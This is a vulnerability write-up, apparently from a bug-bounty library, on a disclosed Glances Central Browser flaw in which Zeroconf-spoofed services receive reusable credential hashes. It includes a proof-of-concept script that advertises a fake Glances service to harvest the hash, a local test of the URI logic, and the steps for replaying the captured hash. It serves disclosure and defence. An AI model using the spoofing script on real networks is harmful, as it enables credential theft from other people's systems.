# Glances Central Browser Autodiscovery Leaks Reusable Credentials to Zeroconf-Spoofed Servers

Glances Central Browser builds connection URIs and password lookups from untrusted Zeroconf-advertised names, letting a LAN attacker harvest reusable Glances auth hashes.

- Payout: Research
- Severity: high
- Program: Glances
- Found by: offset
- Disclosed: 2026-03-16
- CVE: CVE-2026-32634
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-vx5f-957p-qpvm
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-vx5f-957p-qpvm
- Tags: area:devices domain:network impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:python technique:source-review vuln:auth-bypass vuln:misconfiguration vuln:secrets-leak

**Target:** Glances Central Browser autodiscovery (Zeroconf _glances._tcp)
**Root cause:** Dynamic server entries store both advertised name and discovered IP, but get_uri() and password lookup use the attacker-controlled name instead of the IP, and fall back to the global [passwords] default credential.
**Steps:**
1. Victim runs `glances --browser -C ./glances.conf` with `[passwords] default=SuperSecretBrowserPassword` and autodiscovery enabled.
2. Attacker on same multicast domain registers fake `_glances._tcp.local.` ServiceInfo with attacker-controlled name and address via python-zeroconf.
3. Glances stores `{'name': <advertised-name>, 'ip': <discovered-ip>, ...}` from the advertisement.
4. Fake server returns 401/XML-RPC auth failures so entry becomes `PROTECTED`.
5. Background refresh calls `get_uri(server)`, which looks up password by `server['name']`, falls back to `default`, hashes it, and builds `http://glances:<pbkdf2_hash>@<advertised-name>:<port>`.
6. Attacker captures Basic-auth credential and replays the hash against Glances servers sharing the same password.
**How found:** Code review of the dynamic server discovery path: noticed add_server keeps both `name` and `ip`, but get_uri() and client_browser.py use `name` for URI and password lookup while only the RPC client uses `ip` — an inconsistent trust boundary.
**Exploitation:** Adjacent-network attacker advertises a spoofed Zeroconf Glances service; the victim's background polling thread automatically sends the pbkdf2-derived password hash via HTTP Basic auth to the attacker host, which can be replayed against other Glances servers using the same credential.
**Escalation:** Replay of captured hash against other Glances servers sharing the configured password; REST/WebUI click-through opens attacker URLs with embedded credentials.
**Insight:** When a discovery protocol yields both an advertised identifier and a resolved address, grep for every consumer of the identifier: any use in URI construction or credential lookup (especially with a `default` fallback) is a spoofing-to-credential-leak path.

## Proof of concept (copied exactly from the original report)

**Local logic proof script for get_uri**

```
cd D:\bugcrowd\glances\repo
@'
import importlib.util
import sys
import types
from pathlib import Path

pkg = types.ModuleType('glances')
pkg.__apiversion__ = '4'
sys.modules['glances'] = pkg

client_mod = types.ModuleType('glances.client')
class GlancesClientTransport: pass
client_mod.GlancesClientTransport = GlancesClientTransport
sys.modules['glances.client'] = client_mod

globals_mod = types.ModuleType('glances.globals')
globals_mod.json_loads = lambda x: x
sys.modules['glances.globals'] = globals_mod

logger_mod = types.ModuleType('glances.logger')
logger_mod.logger = types.SimpleNamespace(
    debug=lambda *a, **k: None,
    warning=lambda *a, **k: None,
    info=lambda *a, **k: None,
    error=lambda *a, **k: None,
)
sys.modules['glances.logger'] = logger_mod

password_list_mod = types.ModuleType('glances.password_list')
class GlancesPasswordList: pass
password_list_mod.GlancesPasswordList = GlancesPasswordList
sys.modules['glances.password_list'] = password_list_mod

dynamic_mod = types.ModuleType('glances.servers_list_dynamic')
class GlancesAutoDiscoverServer: pass
dynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer
sys.modules['glances.servers_list_dynamic'] = dynamic_mod

static_mod = types.ModuleType('glances.servers_list_static')
class GlancesStaticServer: pass
static_mod.GlancesStaticServer = GlancesStaticServer
sys.modules['glances.servers_list_static'] = static_mod

spec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py'))
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
GlancesServersList = mod.GlancesServersList

class FakePassword:
    def get_password(self, host=None):
        print(f'lookup:{host}')
        return 'defaultpassword'
    def get_hash(self, password):
        return f'hash({password})'

sl = GlancesServersList.__new__(GlancesServersList)
sl.password = FakePassword()
server = {
    'name': 'trusted-host',
    'ip': '203.0.113.77',
    'port': 61209,
    'username': 'glances',
    'password': None,
    'status': 'PROTECTED',
    'type': 'DYNAMIC',
}

print(sl.get_uri(server))
print(server)
'@ | python -
```

**Fake Zeroconf service advertisement script**

```
from zeroconf import ServiceInfo, Zeroconf
import socket
import time

zc = Zeroconf()
info = ServiceInfo(
    "_glances._tcp.local.",
    "198.51.100.50:61209._glances._tcp.local.",
    addresses=[socket.inet_aton("198.51.100.50")],
    port=61209,
    properties={b"protocol": b"rpc"},
    server="ignored.local.",
)
zc.register_service(info)
time.sleep(600)
```

**Victim config and browser launch commands**

```
[passwords]
default=SuperSecretBrowserPassword

2. Start Glances in Central Browser mode on the victim machine:

glances --browser -C ./glances.conf
```

